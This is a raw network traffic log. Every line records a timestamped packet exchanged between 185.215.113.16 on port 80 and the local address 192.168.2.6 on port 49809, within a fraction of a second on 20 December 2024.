Dec 20, 2024 17:17:47.555865049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.556441069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.556525946 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.556539059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.557060003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.557106018 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.557176113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.557704926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.557744026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.557751894 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.558357954 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.558396101 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.558604956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.559026003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.559066057 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.559123039 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.559679985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.559767008 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.559804916 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.560869932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.560925007 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.561016083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.561027050 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.561062098 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.561182022 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.561744928 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.562391043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.562410116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.562436104 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.562458992 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.562565088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.563009977 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.563020945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.563055038 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.563678026 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.563733101 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.563949108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.564415932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.564471006 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.564543962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.565026999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.565047026 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.565103054 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.565646887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.565742016 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.565819979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.566328049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.566390038 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.566796064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.567018986 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.567061901 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.567130089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.567648888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.567698002 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.568311930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.568324089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.568401098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.568402052 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.569113016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.569150925 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.569164038 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.569598913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.569653988 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.569844961 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.570280075 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.570336103 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.570348024 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.570974112 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.571016073 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.571044922 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.571630955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.571686029 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.571799994 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.572252989 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.572308064 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.572387934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.572968960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.572981119 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.573028088 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.573606014 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.573642969 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.573753119 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.574331999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.574369907 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.574378014 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.574909925 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.574945927 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.575501919 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.575643063 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.575686932 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.575839996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.576236010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.576247931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.576292992 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.576884031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.576945066 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.577018023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.577541113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.577578068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.577749968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.578212976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.578264952 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.578306913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.578860998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.578923941 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.578965902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.579554081 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.579607964 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.580135107 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.580250025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.580261946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.580296040 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.580827951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.580868006 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.580936909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.581583023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.581595898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.581617117 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.582170010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.582216024 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.582252979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.582880974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.582916975 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.582947016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.582958937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.583058119 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.583826065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.583925009 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.583936930 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.583954096 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.584758997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.584814072 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.584840059 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.584851027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.584889889 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.585799932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.585912943 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.585923910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.585952044 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.586642027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.586741924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.586755037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.586767912 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.586795092 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.587905884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.587963104 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.587975025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.588015079 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.588759899 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.588808060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.588839054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.588850021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.588898897 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.589581013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.589627981 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.589639902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.589679003 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.590332031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.590370893 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.590423107 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.590435028 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.590708017 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.591299057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.591391087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.591404915 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.591427088 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.592199087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.592235088 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.592298985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.592313051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.592396975 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.593194008 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.593249083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.593259096 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.593288898 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.594090939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.594131947 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.594175100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.594189882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.594227076 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.595040083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.595134974 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.595150948 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.595201969 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.595977068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.596072912 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.596077919 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.596092939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.596142054 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.597018957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.597031116 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.597044945 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.597069025 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.597826958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.597902060 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.597918034 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.597929955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.597971916 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.598742962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.598840952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.598853111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.598885059 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.599693060 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.599735975 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.599766016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.599777937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.599822044 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.600655079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.600770950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.600781918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.600815058 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.601591110 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.601629972 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.601667881 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.601680994 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.601721048 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.602632999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.602725983 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.602736950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.602788925 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.603450060 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.603514910 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.603540897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.603552103 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.603590965 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.604362011 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.604441881 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.604453087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.604511023 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.605303049 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.605343103 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.605381966 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.605393887 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.605432987 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.606213093 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.606312990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.606323957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.606359005 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.607192993 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.607234001 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.607249975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.607260942 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.607295036 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.608089924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.608195066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.608207941 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.608237982 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.609026909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.609103918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.609116077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.609148026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.609178066 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.609994888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.610083103 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.610096931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.610116005 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.610898972 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.610943079 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.610979080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.610995054 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.611041069 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.611828089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.611939907 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.611951113 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.611994028 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.612770081 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.612812042 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.612824917 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.612835884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.612870932 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.613756895 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.614031076 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.614165068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.614233017 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.614248037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.614286900 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.615036964 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.615122080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.615134954 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.615155935 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.615896940 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.615948915 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.616031885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.616070032 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.616112947 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.616889000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.616925001 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.616939068 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.616975069 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.617803097 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.617856979 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.617873907 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.617887020 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.617918968 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.618658066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.618777037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.618788958 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.618829012 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.619697094 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.619755030 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.619762897 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.619775057 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.619817972 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.620543003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.620609999 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.620621920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.620662928 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.621474028 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.621562958 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.621567011 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.621587038 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.621629000 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.622414112 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.622509956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.622523069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.622571945 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.623348951 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.623389006 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.623445988 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.623457909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.623493910 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.624300003 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.624397039 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.624408960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.624442101 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.625209093 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.625269890 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.625312090 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.625324011 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.625370026 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.626177073 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.626240969 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.626252890 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.626287937 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.627074957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.627115965 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.627168894 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.627183914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:47.627223015 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:47.628038883 CET	80	49809	185.215.113.16	192.168.2.6
